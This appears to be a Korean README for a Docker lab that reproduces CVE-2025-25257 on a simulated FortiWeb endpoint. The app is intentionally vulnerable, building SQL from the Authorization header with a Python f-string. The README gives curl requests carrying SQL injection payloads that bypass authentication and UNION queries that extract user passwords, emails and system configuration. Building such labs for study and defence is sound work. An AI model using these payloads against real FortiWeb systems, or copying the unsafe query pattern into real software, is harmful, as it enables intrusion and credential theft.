
재현 가능한 Docker 랩 CVE-2025-25257 대상: 시뮬레이션된 FortiWeb 엔드포인트에서 HTTP Authorization 헤더를 통한 SQL 인젝션 우회 및 데이터 유출을 시연합니다.
실험 아키텍처 (환경은 FortiWeb의 취약한 구성 요소를 시뮬레이션합니다)
취약 엔드포인트 : /api/system/fabric/config
인젝션 벡터 : HTTP Authorization: Bearer 헤더
메커니즘 : 직접 SQL 연결 (Python f-string)
인증 : 없음 (완전 우회)
데이터베이스 : SQLite (데모용)
cve-2025-25257
├── Dockerfile
├── docker-compose.yml
├── requirements.txt
├── app.py
├── init_db.py
├── payload.txt
└── README.md
Dockerfile : 의도적으로 취약한 HTTP 서비스 / 인증 없이 악용 가능한 API 노출
docker-compose.yml : 재현 가능한 취약 서비스 조율 / HTTP를 통해 공격 가능한 API 노출 / 실험 환경 격리
requirements.txt : 안정적이고 재현 가능한 환경 보장
app.py : 사전 인증 엔드포인트 구현 / Authorization을 통해 사용자 입력 수락 / 해당 입력을 SQL 쿼리에 연결 / 인증 우회 및 데이터 추출 허용
init_db.py : 악용 가능한 데이터셋 준비 / 인증 우회 및 데이터 유출의 명확한 데모 허용
payload.txt : 최소한의 통제되고 관찰 가능한 코드 실행 증명 제공
docker-compose build
docker-compose up -d
docker-compose ps
docker-compose logs -f
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer valid_token_001"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' OR '1'='1"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, username, password, role, email, NULL FROM users--"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, key, value, description, '2025-01-01',NULL FROM system_config--"
docker-compose down
docker-compose down -v
docker rmi cve-2025-25257-lab-fortiweb-vulnerable:latest